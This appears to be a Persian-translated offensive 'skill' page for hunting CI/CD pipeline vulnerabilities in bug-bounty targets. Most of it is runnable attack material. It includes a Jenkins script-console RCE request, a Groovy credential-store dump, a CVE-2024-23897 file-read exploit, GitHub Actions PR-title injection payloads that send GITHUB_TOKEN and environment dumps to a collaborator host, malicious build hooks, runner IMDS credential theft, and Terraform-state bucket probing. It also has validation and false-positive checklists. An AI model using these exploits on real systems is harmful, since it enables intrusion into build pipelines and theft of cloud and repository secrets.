hunt-cicd

skillupstreamکلاس آسیب‌پذیریگزارش: ۱۸۱۸ کیلوبایت۱۲ بخش

شکار آسیب‌پذیری‌های پایپ‌لاین CI/CD — تزریق workflow مربوط به GitHub Actions ‏(‏Pwnrequest با `pull_request_target` + ‏`${{ }}`-به-داخل-shell)، مسموم‌کردن runner سلف‌هاستد، سوءاستفاده از trust-policy مربوط به OIDC، RCE از script-console مربوط به Jenkins و خواندن فایل CVE-2024-23897، ثبت runner-token مربوط به GitLab CI، نشت فایل state مربوط به Terraform، نشت secret از artifact/لاگ و متغیرهای env پایپ‌لاین.

توضیح انگلیسی اصلی (مرجع)

Hunt CI/CD pipeline vulnerabilities — GitHub Actions workflow injection (pull_request_target Pwnrequest + ${{ }}-into-shell), self-hosted runner poisoning, OIDC trust-policy abuse, Jenkins script-console RCE and CVE-2024-23897 file read, GitLab CI runner-token registration, Terraform state file leakage, artifact/log secret leakage, pipeline env-var disclosure. Use when target has a public GitHub/GitLab org, exposed CI dashboards (Jenkins/TeamCity/Drone/Argo), or build artifacts/images are reachable.

فلوی اجرای گام‌به‌گام

◆
hunt-cicdشروع اجرا
۱
‏صفحه‌ی لاگین RCE نیست. یک URL مربوط به `/script` در دسترس که لاگین Jenkins یا `403` برگرداند کنسول اسکریپت unauthenticated نیست. فقط POST واقعی `scriptText` که خروجی کامند تو را برگرداند حساب است.
۲
‏workflow مربوط به `pull_request_target` خودبه‌خود قابل‌تزریق نیست. فقط وقتی قابل‌اکسپلویت است که داده‌ی نامطمئن به sink اجرایی برسد. جریان داده را تأیید کن (بخش FP را ببین) قبل از اینکه اصلاً PR باز کنی.
۳
‏تزریق کور به OOB نیاز دارد. اگر استپ آسیب‌پذیر خروجی قابل‌خواندنی ندارد، باید از طریق Burp Collaborator / interactsh تأیید کنی — ساب‌دامین یکتای به‌ازای هر sink که runner به آن call می‌زند. workflowی که «سبز اجرا شد» اثبات اجرای کد تو نیست.
۴
‏‏HTTP 200 روی `.tfstate` تا وقتی parseش نکنی افشای credential نیست. با baseline diff کن (بخش FP را ببین) — خیلی از فایل‌های `tfstate` فقط ID و خروجی resource دارند، بدون secret.
✓
پایان — اعتبارسنجی و گزارش

ترتیب مرحله‌ای استخراج‌شده از بخش‌های متدولوژی/اعتبارسنجی — ۴ گام؛ گام‌های شرطی با «؟ تصمیم» مشخص شده‌اند.

نقشه‌ی ساختار اسکیل

hunt-cicdکلاس آسیب‌پذیری · ۱۲ بخش۱نمای کلی و کاربرد۲اهداف ارزشمند۳دروازه‌ی اعتبارسنجی۴Payload و الگوهای تشخیص۵بخش تکمیلی۶بخش تکمیلی۷بخش تکمیلی۸بخش تکمیلی۹بخش تکمیلی۱۰نمونه‌های واقعی و impact۱۱زنجیره‌ها و ترکیب‌ها۱۲دروازه‌ی اعتبارسنجی
نمای کلی و کاربرد · ۶اهداف ارزشمند · ۲دروازه‌ی اعتبارسنجی · ۲Payload و الگوهای تشخیص · ۲

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

نمای کلی و کاربرد

Introduction
ترجمه‌ی کامل ✓بخش ۱ از ۱۲

توضیح کلی، دامنه‌ی پوشش و زمان به‌کارگیری اسکیل

# HUNT-CICD — امنیت پایپ‌لاین CI/CD

۲

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۲ از ۱۲

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏کنسول /script مربوط به Jenkins در دسترس = RCE فوری. یک workflow مربوط به pull_request_target (یا workflow_run) در GitHub Actions که head ref مربوط به PR را checkout کند و ${{ github.event.* }} نامطمئن را داخل run: مربوط به shell ارجاع دهد = «Pwnrequest» ← بیرون‌کشیدن secret از PR مربوط به fork با صفر تأیید.

‏یافته‌های پرارزش‌تر:

  • ‏‏Script Console مربوط به Jenkins — اجرای Groovy ← RCE کامل ← dump کردن credential store
  • ‏خواندن فایل با Jenkins CLI ‏(CVE-2024-23897) — expand شدن آرگومان @/etc/passwd پیش‌از-auth ← خواندن secret.key/credentials.xml ← جعل admin ← RCE
  • ‏تزریق pull_request_target در GitHub Actions ‏(Pwnrequest) — PR مربوط به fork مقدار ${{ }} داخل استپ shell باامتیاز را کنترل می‌کند ← بیرون‌کشیدن GITHUB_TOKEN (غالباً contents:write) و secretهای org
  • ‏مسموم‌کردن runner سلف‌هاستد — runner غیر-ephemeral روی ریپوی public بیلد PR مربوط به fork را اجرا می‌کند ← کد مهاجم روی هاست runner اجرا می‌شود ← ماندگاری + سرقت secret
  • ‏سوءاستفاده از trust-policy مربوط به OIDC — wildcard بیش‌ازحد باز در claim مربوط به sub در trust policy مربوط به نقش AWS IAM ← هر workflow در org نقش ابری باامتیاز را assume می‌کند
  • ‏نشت state مربوط به Terraform — *.tfstate در S3/GCS/Blob مربوط به public ← credentialهای زیرساخت plaintext، پسوردهای DB، کلیدهای private
  • ‏نشت runner token / artifact / لاگ — runner مهاجم ثبت کن، یا secretهای چاپ‌شده قبل از ::add-mask:: را برداشت کن
۳

دروازه‌ی اعتبارسنجی

"It-Didn't-Happen-Without-Proof" Gate (Read First)
ترجمه‌ی کامل ✓بخش ۳ از ۱۲

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

‏یافته‌های CI/CD بیش‌ازحد گزارش می‌شوند چون داشبوردها به‌نظر قابل‌اکسپلویت‌اند. قبل از هر ادعا:

  1. ‏صفحه‌ی لاگین RCE نیست. یک URL مربوط به /script در دسترس که لاگین Jenkins یا 403 برگرداند کنسول اسکریپت unauthenticated نیست. فقط POST واقعی scriptText که خروجی کامند تو را برگرداند حساب است.
  2. ‏workflow مربوط به pull_request_target خودبه‌خود قابل‌تزریق نیست. فقط وقتی قابل‌اکسپلویت است که داده‌ی نامطمئن به sink اجرایی برسد. جریان داده را تأیید کن (بخش FP را ببین) قبل از اینکه اصلاً PR باز کنی.
  3. ‏تزریق کور به OOB نیاز دارد. اگر استپ آسیب‌پذیر خروجی قابل‌خواندنی ندارد، باید از طریق Burp Collaborator / interactsh تأیید کنی — ساب‌دامین یکتای به‌ازای هر sink که runner به آن call می‌زند. workflowی که «سبز اجرا شد» اثبات اجرای کد تو نیست.
  4. ‏‏HTTP 200 روی .tfstate تا وقتی parseش نکنی افشای credential نیست. با baseline diff کن (بخش FP را ببین) — خیلی از فایل‌های tfstate فقط ID و خروجی resource دارند، بدون secret.
مراحل استخراج‌شده
  1. ۱‏صفحه‌ی لاگین RCE نیست. یک URL مربوط به `/script` در دسترس که لاگین Jenkins یا `403` برگرداند کنسول اسکریپت unauthenticated نیست. فقط POST واقعی `scriptText` که خروجی کامند تو را برگرداند حساب است.
  2. ۲‏workflow مربوط به `pull_request_target` خودبه‌خود قابل‌تزریق نیست. فقط وقتی قابل‌اکسپلویت است که داده‌ی نامطمئن به sink اجرایی برسد. جریان داده را تأیید کن (بخش FP را ببین) قبل از اینکه اصلاً PR باز کنی.
  3. ۳‏تزریق کور به OOB نیاز دارد. اگر استپ آسیب‌پذیر خروجی قابل‌خواندنی ندارد، باید از طریق Burp Collaborator / interactsh تأیید کنی — ساب‌دامین یکتای به‌ازای هر sink که runner به آن call می‌زند. workflowی که «سبز اجرا شد» اثبات اجرای کد تو نیست.
  4. ۴‏‏HTTP 200 روی `.tfstate` تا وقتی parseش نکنی افشای credential نیست. با baseline diff کن (بخش FP را ببین) — خیلی از فایل‌های `tfstate` فقط ID و خروجی resource دارند، بدون secret.
۴

Payload و الگوهای تشخیص

Phase 1 — Jenkins: Detection, Script Console, CVE-2024-23897
ترجمه‌ی کامل ✓بخش ۴ از ۱۲

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
  echo "$p -> $code"   # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done

‏کنسول اسکریپت unauthenticated ← RCE (فقط اگر POST خروجی برگرداند):

# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
curl -s -X POST "https://$TARGET/scriptText" \
  --data-urlencode 'script=println "id".execute().text'

‏Dump کردن credential store (Groovy مقدار secretهایی که UI ماسک می‌کند را decrypt می‌کند):

import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
  println "${it.id} :: ${it.username} :: ${it.password}"
}
CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
  println "${it.id} :: ${it.secret}"
}

‏CVE-2024-23897 — خواندن فایل دلخواه پیش‌از-auth از طریق Jenkins CLI (expand مربوط به فایل @ در args4j؛ نسخه‌های ≤2.441 / LTS ≤2.426.2). با خواندن anonymous، این به RCE escalate می‌شود با خواندن secret.key + master.key برای decrypt کردن credentials.xml، یا خواندن API token از config.xml یک کاربر:

# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"
# The file content is echoed back in the error. Then target:
#   @/var/lib/jenkins/secret.key  @/var/lib/jenkins/secrets/master.key
#   @/var/lib/jenkins/credentials.xml

‏اعتبارسنجی: پاسخ باید محتوای فایل واقعی داشته باشد (root:x:0:0). یک «no such agent» عمومی بدون خط لو‌رفته یعنی نمونه پچ‌شده است یا مسیر غلط — یافته نیست.

۵

بخش تکمیلی

Phase 2 — GitHub Actions: Pwnrequest, `${{ }}`-into-Shell, Runner Poisoning, OIDC
ترجمه‌ی کامل ✓بخش ۵ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

تمایز مرکزی (اینجاست که ۹۰٪ PoCهای غلط می‌میرند)

‏دو کلاس sink هست — payloadهای متفاوت می‌خواهند:

  • ‏expand شدن تمپلیت ${{ }} به داخل run: مربوط به shell — expression قبل از اجرای shell داخل اسکریپت جایگزین می‌شود، پس newline/backtick/$(...) در فیلد نامطمئن به shell تحت‌اللفظی تبدیل می‌شود. این تزریق کلاسیک است.
  • ‏خواندن متغیر محیطی داخل shell — GITHUB_TOKEN، secrets.X و هر مقدار مپ‌شده‌ی env: متغیرهای shell هستند که مقدارشان همان رشته است. برای بیرون‌کشیدنشان از echo/printenv استفاده کن، هرگز cat $VAR نکن (سعی می‌کند فایلی به‌نام آن توکن را باز کند و هیچی چاپ نمی‌شود).
# VULNERABLE workflow (untrusted title flows into the script text):
on: pull_request_target            # runs with write token + secrets, on fork PRs
jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with: { ref: ${{ github.event.pull_request.head.sha }} }   # checks out ATTACKER code
      - run: echo "Building PR ${{ github.event.pull_request.title }}"   # ← ${{ }} INJECTION

‏حمله از طریق sink مربوط به ${{ }} — عنوان PR (یا نام branch، body، label، commit message — همه تحت‌کنترل مهاجم) را طوری ست کن که از echo بیرون بزند و کامندهای خودت را اجرا کند. توکن را با printenv بیرون بکش، نه cat:

PR title:  a"; printenv GITHUB_TOKEN | base64 | tr -d '\n' | { read T; curl "https://x.<COLLAB>/?t=$T"; }; echo "

‏برای run: مربوط به YAML چندخطی، تزریق newline تمیزتر است:

PR title:  foo\n      curl https://x.<COLLAB>/?d=$(printenv | base64 -w0)

‏حمله از طریق checkout مسموم (بدون نیاز به ${{ }}) — اگر pull_request_target مقدار head مربوط به PR را checkout کند و بعد اسکریپت build اجرا کند / dependencyها را از درخت checkout‌شده نصب کند (make، npm ci با preinstall مخرب، یک Makefile، اکشن .github/ در PR)، runner مستقیم کد مهاجم را اجرا می‌کند. داخل هر hook مربوط به build بنشین:

# in attacker's PR, e.g. package.json preinstall or Makefile:
curl -s "https://x.<COLLAB>/?env=$(printenv | base64 -w0)"
cat /proc/self/environ | tr '\0' '\n' | base64 -w0   # captures secrets injected as env

‏مسموم‌کردن runner سلف‌هاستد — اگر runs-on: self-hosted (یا label سفارشی) روی ریپوی public با pull_request/pull_request_target باشد، job مربوط به PR مهاجم روی هاست خود org اجرا می‌شود. runnerهای غیر-ephemeral ابزار/credential را بین jobها نگه می‌دارند. با خواندن هویت و متادیتای runner از داخل job تأیید کن:

- run: |
    whoami; hostname; id
    curl -s "https://x.<COLLAB>/?h=$(hostname)&u=$(whoami)"
    curl -s "https://x.<COLLAB>/imds=$(curl -s --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ | base64 -w0)"

‏سوءاستفاده از trust-policy مربوط به OIDC — workflowهایی که از طریق OIDC با configure-aws-credentials نقش IAM را assume می‌کنند. trust policyیی که شرط token.actions.githubusercontent.com:sub آن غایب است یا wildcard شل دارد (repo:ORG/*:*) به هر workflow در org (از جمله مخربی که می‌توانی merge کنی، یا fork روی trigger بدپیکربندی) اجازه‌ی assume آن نقش را می‌دهد. نقش را بازرسی کن:

aws iam get-role --role-name <RoleName> --query 'Role.AssumeRolePolicyDocument'
# Red flag: StringLike on sub with "repo:ORG/*" or no sub condition at all (only aud).

بعد اثباتش کن: از workflowی که در-org کنترل می‌کنی، نقش را assume کن و aws sts get-caller-identity اجرا کن که ARN نقش باامتیاز را برگرداند.

Recon
# Enumerate org workflows that use the dangerous triggers
gh api graphql -f query='{organization(login:"ORG"){repositories(first:100){nodes{name}}}}' \
  | jq -r '.data.organization.repositories.nodes[].name' | while read r; do
  for wf in $(gh api "repos/ORG/$r/contents/.github/workflows" 2>/dev/null | jq -r '.[]?.name'); do
    body=$(gh api "repos/ORG/$r/contents/.github/workflows/$wf" 2>/dev/null | jq -r '.content' | base64 -d)
    echo "$body" | grep -Eq 'pull_request_target|workflow_run' && \
      echo "$body" | grep -Eq '\$\{\{ *github\.event|self-hosted|head\.ref|head\.sha' && \
      echo "CANDIDATE: ORG/$r/$wf"
  done
done

‏کاندیداها را با تحلیل‌گر استاتیک قبل از بازکردن هر PR سه‌گانه کن: gh extension install rhysd/actionlint یا zizmor را اجرا کن (pip install zizmor; zizmor .github/workflows/) که الگوهای template-injection و dangerous-checkout را مخصوصاً فلگ می‌کند.

مسمومیت کش Actions

‏کش GitHub Actions به‌صورت پیش‌فرض میان branchها ایزوله‌ی اعتماد نیست: workflow از branch/PR مهاجم می‌تواند entry کش (key یا restore-key) بنویسد که workflow باامتیاز بعدی روی branch پیش‌فرض restore کند و فایل‌های مهاجم (باینری‌های buildشده، depها، اسکریپت‌ها) را به build مورداعتماد تزریق کند ← اجرای کد در کانتکست باامتیاز. اکشن‌های کش که روی مقادیر تحت‌نفوذ مهاجم key خورده‌اند را چک کن، و اینکه آیا پایپ‌لاین‌های باامتیاز با restore-keys پیشوندی را restore می‌کنند که job نامطمئن بتواند پرش کند.

۶

بخش تکمیلی

Phase 3 — Secrets in Logs & Artifacts
ترجمه‌ی کامل ✓بخش ۶ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

# Public-repo run logs frequently contain secrets printed BEFORE ::add-mask:: took effect,
# or echoed via debug. The masker only hides exact known values — derived/base64 forms slip through.
gh api "repos/ORG/REPO/actions/runs" | jq -r '.workflow_runs[:20][].id' | while read id; do
  gh api "repos/ORG/REPO/actions/runs/$id/logs" > /tmp/r.zip 2>/dev/null && \
  unzip -o -q /tmp/r.zip -d /tmp/runlogs && \
  grep -rniE 'AKIA[0-9A-Z]{16}|ghp_[A-Za-z0-9]{36}|-----BEGIN|eyJ[A-Za-z0-9_-]{10,}\.' /tmp/runlogs
done

# Artifacts — env dumps, .env, kubeconfig, built binaries with embedded secrets
gh api "repos/ORG/REPO/actions/artifacts" | jq -r '.artifacts[] | "\(.id) \(.name)"'

‏توجه actions/upload-artifact secretها را ماسک نمی‌کند — artifactی به‌نام env/debug نشت مستقیم رایج است.

۷

بخش تکمیلی

Phase 4 — GitLab CI
ترجمه‌ی کامل ✓بخش ۷ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

# Runner registration token → register an attacker runner that picks up jobs (and their secrets).
# Found in config.toml (via LFI/disclosure), screenshots, /admin/runners, or leaked CI logs.
curl -s "https://$TARGET/api/v4/projects/PID/variables" -H "PRIVATE-TOKEN: $TOK"   # masked? protected?
curl -s "https://$TARGET/api/v4/runners?type=instance_type" -H "PRIVATE-TOKEN: $TOK"

# .gitlab-ci.yml review: unmasked variables, `CI_JOB_TOKEN` over-permission,
# `rules:` that run privileged jobs on MRs from forks (the GitLab analogue of pull_request_target).
curl -s "https://$TARGET/api/v4/projects/PID/repository/files/.gitlab-ci.yml/raw?ref=main"

‏یک registration token به‌تنهایی یافته نیست مگر اینکه آن نمونه اجازه دهد آن توکن runnerی ثبت کند که پایپ‌لاین پروژه‌ی هدف را اجرا کند. با ثبت runner موقتی مال خودت و گرفتن متغیرهای ماسک‌شده‌ی یک job اثباتش کن.

۸

بخش تکمیلی

Phase 5 — Terraform State Leakage
ترجمه‌ی کامل ✓بخش ۸ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

# Probe common public-bucket/path patterns (parameterize $T and $ORG)
for U in \
  "https://$ORG.s3.amazonaws.com/terraform.tfstate" \
  "https://s3.amazonaws.com/$ORG-tfstate/terraform.tfstate" \
  "https://$ORG-infra.s3.amazonaws.com/env/prod/terraform.tfstate" \
  "https://storage.googleapis.com/$ORG-tfstate/default.tfstate" \
  "https://$ORG.blob.core.windows.net/tfstate/terraform.tfstate" ; do
  code=$(curl -s -o /tmp/tf.json -w "%{http_code}" "$U")
  [ "$code" = "200" ] && echo "[+] 200 $U" && \
    jq -r '.resources[].instances[].attributes
           | to_entries[] | select(.key|test("password|secret|private_key|token|access_key";"i"))
           | "\(.key) = \(.value)"' /tmp/tf.json 2>/dev/null
done
# Also hunt state in repos / backend configs
gh search code --owner ORG "terraform.tfstate" --limit 10
gh search code --owner ORG 'backend "s3"' --limit 10

‏فیلتر false-positive: tfstateیی که فقط id، arn، tags لیست می‌کند نشت secret نیست. jq بالا را اجرا کن و حداقل یک credential زنده تأیید کن (password واقعی، private_key، پسورد master مربوط به RDS، یا access key چرخش‌نیافته). بعد تأثیر را با استفاده‌ی فقط-خواندنی از آن credential اثبات کن (aws sts get-caller-identity، اتصال DB که banner برگرداند) — فقط ادعای «cred در state» نکن.

۹

بخش تکمیلی

Phase 6 — Build Artifact / Image Analysis
ترجمه‌ی کامل ✓بخش ۹ از ۱۲

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

docker pull ORG/IMAGE:latest
docker history --no-trunc ORG/IMAGE:latest | grep -iE 'ENV|ARG|secret|token|password|key'
# Layer-level scan catches secrets removed in a later layer but still present in history:
trufflehog docker --image ORG/IMAGE:latest --only-verified

‏--only-verified مقدار trufflehog را به credentialهایی که واقعاً می‌تواند احراز هویت کند فیلتر می‌کند — برای حذف نویز کلیدهای منقضی/نمونه قبل از گزارش از آن استفاده کن.

۱۰

نمونه‌های واقعی و impact

Grounded References (named cases / CVEs)
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۲

سناریوها و گزارش‌های افشاشده که الگوی باگ و اثر واقعی را نشان می‌دهند

  • ‏کلاس Pwnrequest / pull_request_target — GitHub Security Lab (Jaroslav Lobačevski)، «Keeping your GitHub Actions and workflows secure: Untrusted input». نوشته‌ی اصلی بیرون‌کشیدن secret از PR مربوط به fork و الگوی dangerous-checkout.
  • ‏تزریق workflow-command در GitHub Actions — CVE-2020-15228 — کامندهای set-env/add-path به تزریق env/PATH از خروجی لاگ‌شده اجازه می‌دادند؛ همین منجر به منسوخ‌شدن آن کامندها و مهاجرت به $GITHUB_ENV شد.
  • ‏خواندن فایل دلخواه با Jenkins CLI — CVE-2024-23897 — expand مربوط به فایل با پیشوند @ در args4j (Jenkins ≤2.441 / LTS ≤2.426.2)، خواندن secret.key/credentials.xml ← admin ← RCE.
  • ‏‏RCE مربوط به Jenkins Stapler — CVE-2018-1000861 — routing پویا به groovy.lang.GroovyShell می‌رسد؛ جزء اصلی زنجیره‌ی اجرای اسکریپت unauth روی Jenkinsهای قدیمی.
  • ‏PortSwigger / Liam Galvin و دیگران — پژوهش روی sinkهای تزریق GitHub Actions (title/branch/body/label) و بردار template-substitution مربوط به ${{ }}-به-داخل-run؛ مبنای قواعد تشخیص actionlint/zizmor ذکرشده.

‏(فقط CVEها و کیس‌هایی که دقیقاً می‌توانم نسبت بدهم لیست شدند. نسخه‌ی درحال‌اجرا را با بازه‌ی تحت‌تأثیر CVE قبل از ادعا تأیید کن.)

۱۱

زنجیره‌ها و ترکیب‌ها

Chain Table
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۲

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

یافته‌ی CI/CDزنجیره بهتأثیر
کنسول اسکریپت anonymous مربوط به JenkinsDump مربوط به credential store ← credentialهای cloud/DB ← lateralCritical
خواندن فایل با Jenkins CLI ‏(CVE-2024-23897)خواندن secret.key+credentials.xml ← جعل admin ← RCECritical
تزریق ${{ }} در Actions ‏(Pwnrequest)printenv GITHUB_TOKEN/secrets ← push به branch محافظت‌شدهCritical
مسمومیت runner سلف‌هاستداجرای کد روی هاست runner ← credentialهای IMDS ← ماندگاریCritical
wildcard مربوط به sub در OIDCAssumeRole نقش ابری باامتیاز از هر workflow در orgCritical
state مربوط به Terraform با cred زندهاستفاده از credential زیرساخت/DB/APICritical
ثبت runner مربوط به GitLabثبت runner ← گرفتن secretهای پایپ‌لاینHigh/Critical
secret در ایمیج/لاگ/artifactاستفاده‌ی مستقیم credentialHigh
۱۲

دروازه‌ی اعتبارسنجی

Validation Discipline (per finding, before you report)
ترجمه‌ی کامل ✓بخش ۱۲ از ۱۲

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏کنسول Jenkins: POST مربوط به scriptText خروجی id تو را برمی‌گرداند (uid=…(jenkins)). برگشت صفحه‌ی لاگین/SSO/Crowd = دسترسی anon نیست. از request+response اسکرین‌شات بگیر.
  • ‏CVE-2024-23897: پاسخ محتوای واقعی /etc/passwd دارد؛ تأیید کن نسخه در بازه است. نمونه‌های پچ‌شده خطا بدون خط لو‌رفته برمی‌گردانند.
  • ‏تزریق Actions: اول جریان داده به sink را تأیید کن (بخش FP). استپ کور ← callback مربوط به Collaborator با IP مبدأ runner اجباری است. بیرون‌کشیدن توکن از طریق printenv//proc/self/environ که در endpoint تو دیکد می‌شود — هرگز cat $GITHUB_TOKEN نکن.
  • ‏سوءاستفاده OIDC: aws sts get-caller-identity از workflow تحت‌کنترل تو در-org مقدار ARN نقش باامتیاز را برمی‌گرداند — نه فقط trust policyیی که باامتیاز به‌نظر می‌رسد.
  • ‏state مربوط به Terraform: استخراج jq حداقل ۱ secret زنده می‌دهد، بعد احراز هویت فقط-خواندنی آن را اثبات می‌کند. state با فقط ID/ARN = بدون یافته.
  • ‏runner token / ایمیج / لاگ‌ها: نشان بده secret احراز هویت می‌کند (trufflehog با --only-verified، یا فراخوانی API واقعی) — داشتن یک رشته تأثیر نیست.
false-positiveهای رایج برای پس‌گرفتن
  • ‏/script که صفحه‌ی لاگین برمی‌گرداند (auth لازم) و به‌عنوان «unauth RCE» گزارش شده.
  • ‏pull_request_target موجود ولی ورودی نامطمئن هرگز به sink نمی‌رسد (مثلاً فقط در if: روی github.actor استفاده شده، یا workflow از pull_request استفاده می‌کند نه _target).
  • ‏ارجاع ${{ }} که از قبل داخل بلوک env: پیچیده و در shell کوت‌شده (الگوی امن توصیه‌شده) — قابل‌تزریق نیست.
  • ‏.tfstate مربوط به ۲۰۰ که فقط متادیتای resource دارد.
  • ‏متغیر ماسک‌شده‌ی GitLab که protected است و فقط به branchهای محافظت‌شده‌ای که مهاجم نمی‌تواند push کند افشا می‌شود.
  • ‏hitهای «unverified» مربوط به Trufflehog که کلیدهای نمونه/منقضی‌اند.

‏شدت: کنسول Jenkins / CVE-2024-23897 / بیرون‌کشیدن secret در Actions / مسمومیت runner / assume نقش OIDC / cred زنده‌ی Terraform = Critical. secret در ایمیج/لاگ/artifact = ‏High/Critical بر اساس اسکوپ credential.

مراحل استخراج‌شده
  1. ۱‏کنسول Jenkins: POST مربوط به `scriptText` خروجی `id` تو را برمی‌گرداند (`uid=…(jenkins)`). برگشت صفحه‌ی لاگین/SSO/Crowd = دسترسی anon نیست. از request+response اسکرین‌شات بگیر.
  2. ۲‏CVE-2024-23897: پاسخ محتوای واقعی `/etc/passwd` دارد؛ تأیید کن نسخه در بازه است. نمونه‌های پچ‌شده خطا بدون خط لو‌رفته برمی‌گردانند.
  3. ۳‏تزریق Actions: اول جریان داده به sink را تأیید کن (بخش FP). استپ کور ← callback مربوط به Collaborator با IP مبدأ runner اجباری است. بیرون‌کشیدن توکن از طریق `printenv`/`/proc/self/environ` که در endpoint تو دیکد می‌شود — هرگز `cat $GITHUB_TOKEN` نکن.
  4. ۴‏سوءاستفاده OIDC: `aws sts get-caller-identity` از workflow تحت‌کنترل تو در-org مقدار ARN نقش باامتیاز را برمی‌گرداند — نه فقط trust policyیی که باامتیاز *به‌نظر* می‌رسد.
  5. ۵‏state مربوط به Terraform: استخراج `jq` حداقل ۱ secret *زنده* می‌دهد، بعد احراز هویت فقط-خواندنی آن را اثبات می‌کند. state با فقط ID/ARN = بدون یافته.
  6. ۶‏runner token / ایمیج / لاگ‌ها: نشان بده secret احراز هویت می‌کند (trufflehog با `--only-verified`، یا فراخوانی API واقعی) — داشتن یک رشته تأثیر نیست.
  7. ۷‏`/script` که صفحه‌ی لاگین برمی‌گرداند (auth لازم) و به‌عنوان «unauth RCE» گزارش شده.
  8. ۸‏`pull_request_target` موجود ولی ورودی نامطمئن هرگز به sink نمی‌رسد (مثلاً فقط در `if:` روی `github.actor` استفاده شده، یا workflow از `pull_request` استفاده می‌کند نه `_target`).
  9. ۹‏ارجاع `${{ }}` که از قبل داخل بلوک `env:` پیچیده و در shell کوت‌شده (الگوی امن توصیه‌شده) — قابل‌تزریق نیست.
  10. ۱۰‏`.tfstate` مربوط به ۲۰۰ که فقط متادیتای resource دارد.
  11. ۱۱‏متغیر ماسک‌شده‌ی GitLab که `protected` است و فقط به branchهای محافظت‌شده‌ای که مهاجم نمی‌تواند push کند افشا می‌شود.
  12. ۱۲‏hitهای «unverified» مربوط به Trufflehog که کلیدهای نمونه/منقضی‌اند.